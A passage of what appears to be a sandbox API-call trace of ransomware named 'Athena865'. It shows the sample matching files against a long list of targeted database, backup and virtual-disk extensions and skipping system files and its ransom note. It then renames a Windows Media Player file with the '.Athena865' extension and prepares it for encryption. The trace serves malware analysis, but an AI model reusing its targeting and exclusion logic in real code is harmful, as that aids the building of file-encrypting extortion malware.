lpString2="adp") returned 1 [0096.303] lstrlenW (lpString="alf") returned 3 [0096.303] lstrcmpiW (lpString1="mui", lpString2="alf") returned 1 [0096.303] lstrlenW (lpString="ask") returned 3 [0096.303] lstrcmpiW (lpString1="mui", lpString2="ask") returned 1 [0096.303] lstrlenW (lpString="btr") returned 3 [0096.303] lstrcmpiW (lpString1="mui", lpString2="btr") returned 1 [0096.303] lstrlenW (lpString="cat") returned 3 [0096.303] lstrcmpiW (lpString1="mui", lpString2="cat") returned 1 [0096.303] lstrlenW (lpString="cdb") returned 3 [0096.303] lstrcmpiW (lpString1="mui", lpString2="cdb") returned 1 [0096.303] lstrlenW (lpString="ckp") returned 3 [0096.303] lstrcmpiW (lpString1="mui", lpString2="ckp") returned 1 [0096.303] lstrlenW (lpString="cma") returned 3 [0096.303] lstrcmpiW (lpString1="mui", lpString2="cma") returned 1 [0096.303] lstrlenW (lpString="cpd") returned 3 [0096.303] lstrcmpiW (lpString1="mui", lpString2="cpd") returned 1 [0096.303] lstrlenW (lpString="dacpac") returned 6 [0096.303] lstrcmpiW (lpString1="xe.mui", lpString2="dacpac") returned 1 [0096.303] lstrlenW (lpString="dad") returned 3 [0096.303] lstrcmpiW (lpString1="mui", lpString2="dad") returned 1 [0096.303] lstrlenW (lpString="dadiagrams") returned 10 [0096.303] lstrcmpiW (lpString1="MC.exe.mui", lpString2="dadiagrams") returned 1 [0096.303] lstrlenW (lpString="daschema") returned 8 [0096.303] lstrcmpiW (lpString1=".exe.mui", lpString2="daschema") returned -1 [0096.303] lstrlenW (lpString="db-journal") returned 10 [0096.303] lstrcmpiW (lpString1="MC.exe.mui", lpString2="db-journal") returned 1 [0096.303] lstrlenW (lpString="db-shm") returned 6 [0096.304] lstrcmpiW (lpString1="xe.mui", lpString2="db-shm") returned 1 [0096.304] lstrlenW (lpString="db-wal") returned 6 [0096.304] lstrcmpiW (lpString1="xe.mui", lpString2="db-wal") returned 1 [0096.304] lstrlenW (lpString="dbc") returned 3 [0096.304] lstrcmpiW (lpString1="mui", lpString2="dbc") returned 1 [0096.304] lstrlenW (lpString="dbs") returned 3 [0096.304] lstrcmpiW (lpString1="mui", lpString2="dbs") returned 1 [0096.304] lstrlenW (lpString="dbt") returned 3 [0096.304] lstrcmpiW (lpString1="mui", lpString2="dbt") returned 1 [0096.304] lstrlenW (lpString="dbv") returned 3 [0096.304] lstrcmpiW (lpString1="mui", lpString2="dbv") returned 1 [0096.304] lstrlenW (lpString="dbx") returned 3 [0096.304] lstrcmpiW (lpString1="mui", lpString2="dbx") returned 1 [0096.304] lstrlenW (lpString="dcb") returned 3 [0096.304] lstrcmpiW (lpString1="mui", lpString2="dcb") returned 1 [0096.304] lstrlenW (lpString="dct") returned 3 [0096.304] lstrcmpiW (lpString1="mui", lpString2="dct") returned 1 [0096.304] lstrlenW (lpString="dcx") returned 3 [0096.304] lstrcmpiW (lpString1="mui", lpString2="dcx") returned 1 [0096.304] lstrlenW (lpString="ddl") returned 3 [0096.304] lstrcmpiW (lpString1="mui", lpString2="ddl") returned 1 [0096.304] lstrlenW (lpString="dlis") returned 4 [0096.304] lstrcmpiW (lpString1=".mui", lpString2="dlis") returned -1 [0096.304] lstrlenW (lpString="dp1") returned 3 [0096.304] lstrcmpiW (lpString1="mui", lpString2="dp1") returned 1 [0096.304] lstrlenW (lpString="dqy") returned 3 [0096.304] lstrcmpiW (lpString1="mui", lpString2="dqy") returned 1 [0096.304] lstrlenW (lpString="dsk") returned 3 [0096.304] lstrcmpiW (lpString1="mui", lpString2="dsk") returned 1 [0096.304] lstrlenW (lpString="dsn") returned 3 [0096.305] lstrcmpiW (lpString1="mui", lpString2="dsn") returned 1 [0096.305] lstrlenW (lpString="dtsx") returned 4 [0096.305] lstrcmpiW (lpString1=".mui", lpString2="dtsx") returned -1 [0096.305] lstrlenW (lpString="dxl") returned 3 [0096.305] lstrcmpiW (lpString1="mui", lpString2="dxl") returned 1 [0096.305] lstrlenW (lpString="eco") returned 3 [0096.305] lstrcmpiW (lpString1="mui", lpString2="eco") returned 1 [0096.305] lstrlenW (lpString="ecx") returned 3 [0096.305] lstrcmpiW (lpString1="mui", lpString2="ecx") returned 1 [0096.305] lstrlenW (lpString="edb") returned 3 [0096.305] lstrcmpiW (lpString1="mui", lpString2="edb") returned 1 [0096.305] lstrlenW (lpString="epim") returned 4 [0096.305] lstrcmpiW (lpString1=".mui", lpString2="epim") returned -1 [0096.305] lstrlenW (lpString="fcd") returned 3 [0096.305] lstrcmpiW (lpString1="mui", lpString2="fcd") returned 1 [0096.305] lstrlenW (lpString="fdb") returned 3 [0096.305] lstrcmpiW (lpString1="mui", lpString2="fdb") returned 1 [0096.305] lstrlenW (lpString="fic") returned 3 [0096.305] lstrcmpiW (lpString1="mui", lpString2="fic") returned 1 [0096.305] lstrlenW (lpString="flexolibrary") returned 12 [0096.305] lstrcmpiW (lpString1="PDMC.exe.mui", lpString2="flexolibrary") returned 1 [0096.305] lstrlenW (lpString="fm5") returned 3 [0096.305] lstrcmpiW (lpString1="mui", lpString2="fm5") returned 1 [0096.305] lstrlenW (lpString="fmp") returned 3 [0096.305] lstrcmpiW (lpString1="mui", lpString2="fmp") returned 1 [0096.305] lstrlenW (lpString="fmp12") returned 5 [0096.305] lstrcmpiW (lpString1="e.mui", lpString2="fmp12") returned -1 [0096.305] lstrlenW (lpString="fmpsl") returned 5 [0096.305] lstrcmpiW (lpString1="e.mui", lpString2="fmpsl") returned -1 [0096.305] lstrlenW (lpString="fol") returned 3 [0096.306] lstrcmpiW (lpString1="mui", lpString2="fol") returned 1 [0096.306] lstrlenW (lpString="fp3") returned 3 [0096.306] lstrcmpiW (lpString1="mui", lpString2="fp3") returned 1 [0096.306] lstrlenW (lpString="fp4") returned 3 [0096.306] lstrcmpiW (lpString1="mui", lpString2="fp4") returned 1 [0096.306] lstrlenW (lpString="fp5") returned 3 [0096.306] lstrcmpiW (lpString1="mui", lpString2="fp5") returned 1 [0096.306] lstrlenW (lpString="fp7") returned 3 [0096.306] lstrcmpiW (lpString1="mui", lpString2="fp7") returned 1 [0096.306] lstrlenW (lpString="fpt") returned 3 [0096.306] lstrcmpiW (lpString1="mui", lpString2="fpt") returned 1 [0096.306] lstrlenW (lpString="frm") returned 3 [0096.306] lstrcmpiW (lpString1="mui", lpString2="frm") returned 1 [0096.306] lstrlenW (lpString="gdb") returned 3 [0096.306] lstrcmpiW (lpString1="mui", lpString2="gdb") returned 1 [0096.306] lstrlenW (lpString="gdb") returned 3 [0096.306] lstrcmpiW (lpString1="mui", lpString2="gdb") returned 1 [0096.306] lstrlenW (lpString="grdb") returned 4 [0096.306] lstrcmpiW (lpString1=".mui", lpString2="grdb") returned -1 [0096.306] lstrlenW (lpString="gwi") returned 3 [0096.306] lstrcmpiW (lpString1="mui", lpString2="gwi") returned 1 [0096.306] lstrlenW (lpString="hdb") returned 3 [0096.306] lstrcmpiW (lpString1="mui", lpString2="hdb") returned 1 [0096.306] lstrlenW (lpString="his") returned 3 [0096.306] lstrcmpiW (lpString1="mui", lpString2="his") returned 1 [0096.306] lstrlenW (lpString="ib") returned 2 [0096.306] lstrcmpiW (lpString1="ui", lpString2="ib") returned 1 [0096.306] lstrlenW (lpString="idb") returned 3 [0096.306] lstrcmpiW (lpString1="mui", lpString2="idb") returned 1 [0096.307] lstrlenW (lpString="ihx") returned 3 [0096.307] lstrcmpiW (lpString1="mui", lpString2="ihx") returned 1 [0096.307] lstrlenW (lpString="itdb") returned 4 [0096.307] lstrcmpiW (lpString1=".mui", lpString2="itdb") returned -1 [0096.307] lstrlenW (lpString="itw") returned 3 [0096.307] lstrcmpiW (lpString1="mui", lpString2="itw") returned 1 [0096.307] lstrlenW (lpString="jet") returned 3 [0096.307] lstrcmpiW (lpString1="mui", lpString2="jet") returned 1 [0096.307] lstrlenW (lpString="jtx") returned 3 [0096.307] lstrcmpiW (lpString1="mui", lpString2="jtx") returned 1 [0096.307] lstrlenW (lpString="kdb") returned 3 [0096.307] lstrcmpiW (lpString1="mui", lpString2="kdb") returned 1 [0096.307] lstrlenW (lpString="kexi") returned 4 [0096.307] lstrcmpiW (lpString1=".mui", lpString2="kexi") returned -1 [0096.307] lstrlenW (lpString="kexic") returned 5 [0096.307] lstrcmpiW (lpString1="e.mui", lpString2="kexic") returned -1 [0096.307] lstrlenW (lpString="kexis") returned 5 [0096.307] lstrcmpiW (lpString1="e.mui", lpString2="kexis") returned -1 [0096.307] lstrlenW (lpString="lgc") returned 3 [0096.307] lstrcmpiW (lpString1="mui", lpString2="lgc") returned 1 [0096.307] lstrlenW (lpString="lwx") returned 3 [0096.307] lstrcmpiW (lpString1="mui", lpString2="lwx") returned 1 [0096.307] lstrlenW (lpString="maf") returned 3 [0096.307] lstrcmpiW (lpString1="mui", lpString2="maf") returned 1 [0096.307] lstrlenW (lpString="maq") returned 3 [0096.307] lstrcmpiW (lpString1="mui", lpString2="maq") returned 1 [0096.307] lstrlenW (lpString="mar") returned 3 [0096.307] lstrcmpiW (lpString1="mui", lpString2="mar") returned 1 [0096.307] lstrlenW (lpString="marshal") returned 7 [0096.307] lstrcmpiW (lpString1="exe.mui", lpString2="marshal") returned -1 [0096.308] lstrlenW (lpString="mas") returned 3 [0096.308] lstrcmpiW (lpString1="mui", lpString2="mas") returned 1 [0096.308] lstrlenW (lpString="mav") returned 3 [0096.308] lstrcmpiW (lpString1="mui", lpString2="mav") returned 1 [0096.308] lstrlenW (lpString="maw") returned 3 [0096.308] lstrcmpiW (lpString1="mui", lpString2="maw") returned 1 [0096.308] lstrlenW (lpString="mdbhtml") returned 7 [0096.308] lstrcmpiW (lpString1="exe.mui", lpString2="mdbhtml") returned -1 [0096.308] lstrlenW (lpString="mdn") returned 3 [0096.308] lstrcmpiW (lpString1="mui", lpString2="mdn") returned 1 [0096.308] lstrlenW (lpString="mdt") returned 3 [0096.308] lstrcmpiW (lpString1="mui", lpString2="mdt") returned 1 [0096.308] lstrlenW (lpString="mfd") returned 3 [0096.308] lstrcmpiW (lpString1="mui", lpString2="mfd") returned 1 [0096.308] lstrlenW (lpString="mpd") returned 3 [0096.308] lstrcmpiW (lpString1="mui", lpString2="mpd") returned 1 [0096.308] lstrlenW (lpString="mrg") returned 3 [0096.308] lstrcmpiW (lpString1="mui", lpString2="mrg") returned 1 [0096.308] lstrlenW (lpString="mud") returned 3 [0096.308] lstrcmpiW (lpString1="mui", lpString2="mud") returned 1 [0096.308] lstrlenW (lpString="mwb") returned 3 [0096.308] lstrcmpiW (lpString1="mui", lpString2="mwb") returned -1 [0096.308] lstrlenW (lpString="myd") returned 3 [0096.308] lstrcmpiW (lpString1="mui", lpString2="myd") returned -1 [0096.308] lstrlenW (lpString="ndf") returned 3 [0096.308] lstrcmpiW (lpString1="mui", lpString2="ndf") returned -1 [0096.308] lstrlenW (lpString="nnt") returned 3 [0096.308] lstrcmpiW (lpString1="mui", lpString2="nnt") returned -1 [0096.308] lstrlenW (lpString="nrmlib") returned 6 [0096.308] lstrcmpiW (lpString1="xe.mui", lpString2="nrmlib") returned 1 [0096.309] lstrlenW (lpString="ns2") returned 3 [0096.309] lstrcmpiW (lpString1="mui", lpString2="ns2") returned -1 [0096.309] lstrlenW (lpString="ns3") returned 3 [0096.309] lstrcmpiW (lpString1="mui", lpString2="ns3") returned -1 [0096.309] lstrlenW (lpString="ns4") returned 3 [0096.309] lstrcmpiW (lpString1="mui", lpString2="ns4") returned -1 [0096.309] lstrlenW (lpString="nsf") returned 3 [0096.309] lstrcmpiW (lpString1="mui", lpString2="nsf") returned -1 [0096.309] lstrlenW (lpString="nv") returned 2 [0096.309] lstrcmpiW (lpString1="ui", lpString2="nv") returned 1 [0096.309] lstrlenW (lpString="nv2") returned 3 [0096.309] lstrcmpiW (lpString1="mui", lpString2="nv2") returned -1 [0096.309] lstrlenW (lpString="nwdb") returned 4 [0096.309] lstrcmpiW (lpString1=".mui", lpString2="nwdb") returned -1 [0096.309] lstrlenW (lpString="nyf") returned 3 [0096.309] lstrcmpiW (lpString1="mui", lpString2="nyf") returned -1 [0096.309] lstrlenW (lpString="odb") returned 3 [0096.309] lstrcmpiW (lpString1="mui", lpString2="odb") returned -1 [0096.309] lstrlenW (lpString="odb") returned 3 [0096.309] lstrcmpiW (lpString1="mui", lpString2="odb") returned -1 [0096.309] lstrlenW (lpString="oqy") returned 3 [0096.309] lstrcmpiW (lpString1="mui", lpString2="oqy") returned -1 [0096.309] lstrlenW (lpString="ora") returned 3 [0096.309] lstrcmpiW (lpString1="mui", lpString2="ora") returned -1 [0096.309] lstrlenW (lpString="orx") returned 3 [0096.309] lstrcmpiW (lpString1="mui", lpString2="orx") returned -1 [0096.309] lstrlenW (lpString="owc") returned 3 [0096.309] lstrcmpiW (lpString1="mui", lpString2="owc") returned -1 [0096.309] lstrlenW (lpString="p96") returned 3 [0096.309] lstrcmpiW (lpString1="mui", lpString2="p96") returned -1 [0096.309] lstrlenW (lpString="p97") returned 3 [0096.310] lstrcmpiW (lpString1="mui", lpString2="p97") returned -1 [0096.310] lstrlenW (lpString="pan") returned 3 [0096.310] lstrcmpiW (lpString1="mui", lpString2="pan") returned -1 [0096.310] lstrlenW (lpString="pdb") returned 3 [0096.310] lstrcmpiW (lpString1="mui", lpString2="pdb") returned -1 [0096.310] lstrlenW (lpString="pdm") returned 3 [0096.310] lstrcmpiW (lpString1="mui", lpString2="pdm") returned -1 [0096.310] lstrlenW (lpString="pnz") returned 3 [0096.310] lstrcmpiW (lpString1="mui", lpString2="pnz") returned -1 [0096.310] lstrlenW (lpString="qry") returned 3 [0096.310] lstrcmpiW (lpString1="mui", lpString2="qry") returned -1 [0096.310] lstrlenW (lpString="qvd") returned 3 [0096.310] lstrcmpiW (lpString1="mui", lpString2="qvd") returned -1 [0096.310] lstrlenW (lpString="rbf") returned 3 [0096.310] lstrcmpiW (lpString1="mui", lpString2="rbf") returned -1 [0096.310] lstrlenW (lpString="rctd") returned 4 [0096.310] lstrcmpiW (lpString1=".mui", lpString2="rctd") returned -1 [0096.310] lstrlenW (lpString="rod") returned 3 [0096.310] lstrcmpiW (lpString1="mui", lpString2="rod") returned -1 [0096.310] lstrlenW (lpString="rodx") returned 4 [0096.310] lstrcmpiW (lpString1=".mui", lpString2="rodx") returned -1 [0096.310] lstrlenW (lpString="rpd") returned 3 [0096.310] lstrcmpiW (lpString1="mui", lpString2="rpd") returned -1 [0096.310] lstrlenW (lpString="rsd") returned 3 [0096.310] lstrcmpiW (lpString1="mui", lpString2="rsd") returned -1 [0096.310] lstrlenW (lpString="sas7bdat") returned 8 [0096.310] lstrcmpiW (lpString1=".exe.mui", lpString2="sas7bdat") returned -1 [0096.310] lstrlenW (lpString="sbf") returned 3 [0096.310] lstrcmpiW (lpString1="mui", lpString2="sbf") returned -1 [0096.310] lstrlenW (lpString="scx") returned 3 [0096.311] lstrcmpiW (lpString1="mui", lpString2="scx") returned -1 [0096.311] lstrlenW (lpString="sdb") returned 3 [0096.311] lstrcmpiW (lpString1="mui", lpString2="sdb") returned -1 [0096.311] lstrlenW (lpString="sdc") returned 3 [0096.311] lstrcmpiW (lpString1="mui", lpString2="sdc") returned -1 [0096.311] lstrlenW (lpString="sdf") returned 3 [0096.311] lstrcmpiW (lpString1="mui", lpString2="sdf") returned -1 [0096.311] lstrlenW (lpString="sis") returned 3 [0096.311] lstrcmpiW (lpString1="mui", lpString2="sis") returned -1 [0096.311] lstrlenW (lpString="spq") returned 3 [0096.311] lstrcmpiW (lpString1="mui", lpString2="spq") returned -1 [0096.311] lstrlenW (lpString="te") returned 2 [0096.311] lstrcmpiW (lpString1="ui", lpString2="te") returned 1 [0096.311] lstrlenW (lpString="teacher") returned 7 [0096.311] lstrcmpiW (lpString1="exe.mui", lpString2="teacher") returned -1 [0096.311] lstrlenW (lpString="tmd") returned 3 [0096.311] lstrcmpiW (lpString1="mui", lpString2="tmd") returned -1 [0096.311] lstrlenW (lpString="tps") returned 3 [0096.311] lstrcmpiW (lpString1="mui", lpString2="tps") returned -1 [0096.311] lstrlenW (lpString="trc") returned 3 [0096.311] lstrcmpiW (lpString1="mui", lpString2="trc") returned -1 [0096.311] lstrlenW (lpString="trc") returned 3 [0096.311] lstrcmpiW (lpString1="mui", lpString2="trc") returned -1 [0096.311] lstrlenW (lpString="trm") returned 3 [0096.311] lstrcmpiW (lpString1="mui", lpString2="trm") returned -1 [0096.311] lstrlenW (lpString="udb") returned 3 [0096.311] lstrcmpiW (lpString1="mui", lpString2="udb") returned -1 [0096.311] lstrlenW (lpString="udl") returned 3 [0096.311] lstrcmpiW (lpString1="mui", lpString2="udl") returned -1 [0096.311] lstrlenW (lpString="usr") returned 3 [0096.312] lstrcmpiW (lpString1="mui", lpString2="usr") returned -1 [0096.312] lstrlenW (lpString="v12") returned 3 [0096.312] lstrcmpiW (lpString1="mui", lpString2="v12") returned -1 [0096.312] lstrlenW (lpString="vis") returned 3 [0096.312] lstrcmpiW (lpString1="mui", lpString2="vis") returned -1 [0096.312] lstrlenW (lpString="vpd") returned 3 [0096.312] lstrcmpiW (lpString1="mui", lpString2="vpd") returned -1 [0096.312] lstrlenW (lpString="vvv") returned 3 [0096.312] lstrcmpiW (lpString1="mui", lpString2="vvv") returned -1 [0096.312] lstrlenW (lpString="wdb") returned 3 [0096.312] lstrcmpiW (lpString1="mui", lpString2="wdb") returned -1 [0096.312] lstrlenW (lpString="wmdb") returned 4 [0096.312] lstrcmpiW (lpString1=".mui", lpString2="wmdb") returned -1 [0096.312] lstrlenW (lpString="wrk") returned 3 [0096.312] lstrcmpiW (lpString1="mui", lpString2="wrk") returned -1 [0096.312] lstrlenW (lpString="xdb") returned 3 [0096.312] lstrcmpiW (lpString1="mui", lpString2="xdb") returned -1 [0096.312] lstrlenW (lpString="xld") returned 3 [0096.312] lstrcmpiW (lpString1="mui", lpString2="xld") returned -1 [0096.312] lstrlenW (lpString="xmlff") returned 5 [0096.312] lstrcmpiW (lpString1="e.mui", lpString2="xmlff") returned -1 [0096.312] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPDMC.exe.mui.Athena865") returned 74 [0096.312] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPDMC.exe.mui" (normalized: "c:\\program files (x86)\\windows media player\\en-us\\wmpdmc.exe.mui"), lpNewFileName="C:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPDMC.exe.mui.Athena865" (normalized: "c:\\program files (x86)\\windows media player\\en-us\\wmpdmc.exe.mui.athena865"), dwFlags=0x1) returned 1 [0096.313] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPDMC.exe.mui.Athena865" (normalized: "c:\\program files (x86)\\windows media player\\en-us\\wmpdmc.exe.mui.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0096.314] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=14848) returned 1 [0096.314] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0096.314] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d480 [0096.314] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5189a8 [0096.314] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ab8) returned 1 [0096.315] CryptGenRandom (in: hProv=0x518ab8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0096.315] CryptReleaseContext (hProv=0x518ab8, dwFlags=0x0) returned 1 [0096.315] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3d00, lpName=0x0) returned 0x17c [0096.318] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3d00) returned 0x100000 [0096.322] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ab8) returned 1 [0096.322] CryptGenRandom (in: hProv=0x518ab8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0096.322] CryptReleaseContext (hProv=0x518ab8, dwFlags=0x0) returned 1 [0096.322] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d390 [0096.322] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1 [0096.322] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x520b60 [0096.322] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0096.323] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x520b60 | out: hHeap=0x4f0000) returned 1 [0096.323] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0096.323] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50bdf8 [0096.323] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0096.323] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50bdf8 | out: hHeap=0x4f0000) returned 1 [0096.323] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0096.323] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0096.323] CloseHandle (hObject=0x17c) returned 1 [0096.323] CloseHandle (hObject=0x154) returned 1 [0096.323] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d480 | out: hHeap=0x4f0000) returned 1 [0096.323] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5189a8 | out: hHeap=0x4f0000) returned 1 [0096.323] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0096.324] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WMPDMCCore.dll.mui", cAlternateFileName="")) returned 1 [0096.324] lstrcmpiW (lpString1="WMPDMCCore.dll.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0096.324] lstrcmpiW (lpString1="WMPDMCCore.dll.mui", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0096.324] lstrcmpiW (lpString1="WMPDMCCore.dll.mui", lpString2=".") returned 1 [0096.324] lstrcmpiW (lpString1="WMPDMCCore.dll.mui", lpString2="..") returned 1 [0096.324] lstrcmpiW (lpString1="WMPDMCCore.dll.mui", lpString2="windows") returned 1 [0096.324] lstrcmpiW (lpString1="WMPDMCCore.dll.mui", lpString2="bootmgr") returned 1 [0096.324] lstrcmpiW (lpString1="WMPDMCCore.dll.mui", lpString2="temp") returned 1 [0096.324] lstrcmpiW (lpString1="WMPDMCCore.dll.mui", lpString2="pagefile.sys") returned 1 [0096.324] lstrcmpiW (lpString1="WMPDMCCore.dll.mui", lpString2="boot") returned 1 [0096.324] lstrcmpiW (lpString1="WMPDMCCore.dll.mui", lpString2="ids.txt") returned 1 [0096.324] lstrcmpiW (lpString1="WMPDMCCore.dll.mui", lpString2="ntuser.dat") returned 1 [0096.324] lstrcmpiW (lpString1="WMPDMCCore.dll.mui", lpString2="perflogs") returned 1 [0096.324] lstrcmpiW (lpString1="WMPDMCCore.dll.mui", lpString2="MSBuild") returned 1 [0096.324] lstrlenW (lpString="WMPDMCCore.dll.mui") returned 18 [0096.324] lstrcpyW (in: lpString1=0x241e8ac, lpString2="WMPDMCCore.dll.mui" | out: lpString1="WMPDMCCore.dll.mui") returned="WMPDMCCore.dll.mui" [0096.324] lstrlenW (lpString="WMPDMCCore.dll.mui") returned 18 [0096.324] lstrlenW (lpString="Athena865") returned 9 [0096.324] lstrcmpiW (lpString1="e.dll.mui", lpString2="Athena865") returned 1 [0096.324] lstrlenW (lpString=".dll") returned 4 [0096.324] lstrcmpiW (lpString1="WMPDMCCore.dll.mui", lpString2=".dll") returned 1 [0096.324] lstrlenW (lpString=".lnk") returned 4 [0096.324] lstrcmpiW (lpString1="WMPDMCCore.dll.mui", lpString2=".lnk") returned 1 [0096.324] lstrlenW (lpString=".ini") returned 4 [0096.324] lstrcmpiW (lpString1="WMPDMCCore.dll.mui", lpString2=".ini") returned 1 [0096.324] lstrlenW (lpString=".sys") returned 4 [0096.324] lstrcmpiW (lpString1="WMPDMCCore.dll.mui", lpString2=".sys") returned 1 [0096.324] lstrlenW (lpString="WMPDMCCore.dll.mui") returned 18 [0096.325] lstrlenW (lpString="bak") returned 3 [0096.325] lstrcmpiW (lpString1="mui", lpString2="bak") returned 1 [0096.325] lstrlenW (lpString="ba_") returned 3 [0096.325] lstrcmpiW (lpString1="mui", lpString2="ba_") returned 1 [0096.325] lstrlenW (lpString="dbb") returned 3 [0096.325] lstrcmpiW (lpString1="mui", lpString2="dbb") returned 1 [0096.325] lstrlenW (lpString="vmdk") returned 4 [0096.325] lstrcmpiW (lpString1=".mui", lpString2="vmdk") returned -1 [0096.325] lstrlenW (lpString="rar") returned 3 [0096.325] lstrcmpiW (lpString1="mui", lpString2="rar") returned -1 [0096.325] lstrlenW (lpString="zip") returned 3 [0096.325] lstrcmpiW (lpString1="mui", lpString2="zip") returned -1 [0096.325] lstrlenW (lpString="tgz") returned 3 [0096.325] lstrcmpiW (lpString1="mui", lpString2="tgz") returned -1 [0096.325] lstrlenW (lpString="vbox") returned 4 [0096.325] lstrcmpiW (lpString1=".mui", lpString2="vbox") returned -1 [0096.325] lstrlenW (lpString="vdi") returned 3 [0096.325] lstrcmpiW (lpString1="mui", lpString2="vdi") returned -1 [0096.325] lstrlenW (lpString="vhd") returned 3 [0096.325] lstrcmpiW (lpString1="mui", lpString2="vhd") returned -1 [0096.325] lstrlenW (lpString="vhdx") returned 4 [0096.325] lstrcmpiW (lpString1=".mui", lpString2="vhdx") returned -1 [0096.325] lstrlenW (lpString="avhd") returned 4 [0096.325] lstrcmpiW (lpString1=".mui", lpString2="avhd") returned -1 [0096.325] lstrlenW (lpString="db") returned 2 [0096.325] lstrcmpiW (lpString1="ui", lpString2="db") returned 1 [0096.325] lstrlenW (lpString="db2") returned 3 [0096.325] lstrcmpiW (lpString1="mui", lpString2="db2") returned 1 [0096.325] lstrlenW (lpString="db3") returned 3 [0096.325] lstrcmpiW (lpString1="mui", lpString2="db3") returned 1 [0096.325] lstrlenW (lpString="dbf") returned 3 [0096.325] lstrcmpiW (lpString1="mui", lpString2="dbf") returned 1 [0096.326] lstrlenW (lpString="mdf") returned 3 [0096.326] lstrcmpiW (lpString1="mui", lpString2="mdf") returned 1 [0096.326] lstrlenW (lpString="mdb") returned 3 [0096.326] lstrcmpiW (lpString1="mui", lpString2="mdb") returned 1 [0096.326] lstrlenW (lpString="sql") returned 3 [0096.326] lstrcmpiW (lpString1="mui", lpString2="sql") returned -1 [0096.326] lstrlenW (lpString="sqlite") returned 6 [0096.326] lstrcmpiW (lpString1="ll.mui", lpString2="sqlite") returned -1 [0096.326] lstrlenW (lpString="sqlite3") returned 7 [0096.326] lstrcmpiW (lpString1="dll.mui", lpString2="sqlite3") returned -1 [0096.326] lstrlenW (lpString="sqlitedb") returned 8 [0096.326] lstrcmpiW (lpString1=".dll.mui", lpString2="sqlitedb") returned -1 [0096.326] lstrlenW (lpString="xml") returned 3 [0096.326] lstrcmpiW (lpString1="mui", lpString2="xml") returned -1 [0096.326] lstrlenW (lpString="$er") returned 3 [0096.326] lstrcmpiW (lpString1="mui", lpString2="$er") returned 1 [0096.326] lstrlenW (lpString="4dd") returned 3 [0096.326] lstrcmpiW (lpString1="mui", lpString2="4dd") returned 1 [0096.326] lstrlenW (lpString="4dl") returned 3 [0096.326] lstrcmpiW (lpString1="mui", lpString2="4dl") returned 1 [0096.326] lstrlenW (lpString="^^^") returned 3 [0096.326] lstrcmpiW (lpString1="mui", lpString2="^^^") returned 1 [0096.326] lstrlenW (lpString="abs") returned 3 [0096.326] lstrcmpiW (lpString1="mui", lpString2="abs") returned 1 [0096.326] lstrlenW (lpString="abx") returned 3 [0096.326] lstrcmpiW (lpString1="mui", lpString2="abx") returned 1 [0096.326] lstrlenW (lpString="accdb") returned 5 [0096.326] lstrcmpiW (lpString1="l.mui", lpString2="accdb") returned 1 [0096.326] lstrlenW (lpString="accdc") returned 5 [0096.327] lstrcmpiW (lpString1="l.mui", lpString2="accdc") returned 1 [0096.327] lstrlenW (lpString="accde") returned 5 [0096.327] lstrcmpiW (lpString1="l.mui", lpString2="accde") returned 1 